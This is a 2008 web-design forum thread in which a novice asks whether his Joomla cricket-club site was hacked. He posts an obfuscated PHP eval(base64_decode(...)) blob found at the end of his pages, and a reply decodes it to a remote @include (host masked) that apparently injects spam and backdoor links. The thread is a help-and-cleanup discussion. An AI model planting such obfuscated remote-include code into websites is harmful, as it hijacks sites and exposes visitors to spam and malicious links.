Home   News  Product reviews  Website reviews  Forums   Competitions  Subscribe 
Search

You are not logged in.
Login | New user registration 		Main Index | Search | Active Topics | Who's Online | FAQ / HELP

Web Building >> Web design & build
Previous topic Previous   View all topics Index   Next topic Next   Threaded Mode Threaded  
 |  Print Topic
Jump to first unread post. Pages: 1
Fordy
new user


Reg'd: Sat
Posts: 3
Has my website been hacked?
      #391280 - Sat Apr 12 2008 10:45 PM
Reply to this post Reply   Reply to this post Quote  

I have put together a basic Joomla website for my local cricket club which is my first attempt at a website and on checking the page source for any of my pages there appears to be some code I don't recognise and don't know where it is coming from. If you go to the Carlton Cricket Club Homepage and look at the page source (I use Firefox so View>Page source) there is some code right at the end, below my footer. I won't post it here as some of them are offensive links. Slightly different examples seem to be on all the pages on the site but nothing seems to be displayed to the users on the front end. Has my site been hacked and do you know how I can remove this offensive code and how I can stop it from happening again? Any help gratefully received as I am a novice.

Post Extras: Print Post   Remind Me!   Notify Moderator  
TheFatControlleRAdministrator
Forum Admin


Reg'd: Fri
Posts: 6527
Loc: Megatripolis
Re: Has my website been hacked? [Re: Fordy]
      #391316 - Sun Apr 13 2008 11:00 AM
Reply to this post Reply   Reply to this post Quote  

I don't see anything untoward...

--------------------
TFC
'Going to trial with a lawyer who considers your whole life-style a Crime in Progress is not a happy prospect.' - Hunter S Thompson (1937-2005)

Post Extras: Print Post   Remind Me!   Notify Moderator  
heres_johnny
regular


Reg'd: Sat
Posts: 170
Re: Has my website been hacked? [Re: TheFatControlleR]
      #391322 - Sun Apr 13 2008 11:53 AM
Reply to this post Reply   Reply to this post Quote  

looks ok when i logged on

Post Extras: Print Post   Remind Me!   Notify Moderator  
Fordy
new user


Reg'd: Sat
Posts: 3
Re: Has my website been hacked? [Re: Fordy]
      #391381 - Sun Apr 13 2008 10:13 PM
Reply to this post Reply   Reply to this post Quote  

Sorry, I found this in the early hours of today after much searching:
Code:
<?echoeval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJm
WkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBoVjBad2IxbHJUbTlo
Vm14WlZHMTRUMkZzU20xWGEyUlhZVzFKZVZWdGVFeFJNSEJvVmpCYWQySXhiSEpVYlRsb1ZtMTRXbFpI
TVRSVU1rWnpVMjB4V0dFeVVsaFpWekZLWlZaV2RHVkZlRkpOU0VKdlZtcENZV1F5U1hoaVNFcFZZbFJz
YjFadE1UUlhiRnBJVFZSU1ZVMXJXbnBWTWpCNFYwZEZlVlZzYUZwV2VrWkxXbFphVjJSSFZrWmxSa3BP
VTBWS1ZWWnNaSGRUTURWR1RWWmtZVkpzV2xWWlYzaExWREZhZEU1VlRsUldiSEI2VjFod1YxWkhTbFpq
Um14WVlXczFjbGRXV2t0WFIwWkdWR3hXYVZkR1JYZFdSM2hXVGxaa1JrNVdhRk5pUjJoVVdWUk9RMDFz
V1hoYVJFSm9UVVJXU1ZaR2FITlZNa3BJWVVaQ1YwMUdXak5aTVZwM1ZqRldjMXBIZEU1V00yZDNWa1ph
YTFJeVJYbFNXSEJoVWtaYWFGWnNaRzlTUm14WFdrVjBXRlpzV25oV01uaFhWa1pPUmxOcmFGZFNiRnBY
Vkd4YVMxSnJOVmRXYkVwcFYwZG9WbFpYTVRCV01ERnpXa1prV0dKVWJGTlpXSEJ6VmpGc2NtRkZUbFZO
Vld3MlZsZDRhMWRzV2taWGJXaFhVa1ZhYUZWc1drdGpNVkp6Vkcxc1UwMXNSalpXYkdONFRVWlplRlpZ
YUZSaWEzQndWV3RXWVZaV1duRlRhbEpvVW0xNGVGVXlkSGRpUjBwSFUyNW9WbFl6YUVoV2JYTjRVMGRS
ZW1GR1drNWliRXBaVjFkd1IxbFdXWGhhU0VwaFVtdHdjRlp0TlVOV2JGcFlaVVpPYWsxV2NGaFdNalZM
VmxkS2NtTkdRbUZXYkZwNldrUkdUbVZHVm5WalJrWldUVWQ0TTFWNlJsTmxiRUpVVTFoQ1RGWklUVGxK
YVd0d1QzYzlQU0lwS1RzPSIpKTs="));?>

which I didn't recognise in my template's code so I deleted it and it appears to have got rid of the issue for the time being. Any idea what it is, where it might have come from and whether there is anything I can do to stop it from coming back?

Post Extras: Print Post   Remind Me!   Notify Moderator  
spoziuk
regular


Reg'd: Sun
Posts: 45
Re: Has my website been hacked? [Re: Fordy]
      #391905 - Thu Apr 17 2008 08:41 PM
Reply to this post Reply   Reply to this post Quote  

Thats a hijack, after 10 base64 decodes it results in

Code:

@include("http://**********.info/links/148.txt?ip=".$REMOTE_ADDR."&host=".$HTTP_HOST);

(link removed for safety)

Seems like some kind of spam list, lots of porn and viagra links and also a few adware and backdoor site links, if you see it again, remove it asap. also may be a good idea to set your CHMOD privlidges to the files.

Post Extras: Print Post   Remind Me!   Notify Moderator  
Fordy
new user


Reg'd: Sat
Posts: 3
Re: Has my website been hacked? [Re: spoziuk]
      #392172 - Sun Apr 20 2008 03:19 PM
Reply to this post Reply   Reply to this post Quote  

Thanks for your help.

Post Extras: Print Post   Remind Me!   Notify Moderator  
Pages: 1

Previous topic Previous   View all topics Index   Next topic Next   Threaded Mode Threaded  
Rate this topic

Jump to


Extra information
1 registered and 8 anonymous users are browsing this forum.

Moderator:  putasolutions, Joe_London, greysts, bricat, Nanook, Hello_There, John_McKenna, Mouse, TheFatControlleR 


Print Topic

Forum Permissions
      You cannot start new topics
      You cannot reply to topics
      HTML is disabled
      Mark-up is enabled

Rating:
Topic views: 0

Contact Us | Privacy statement Main website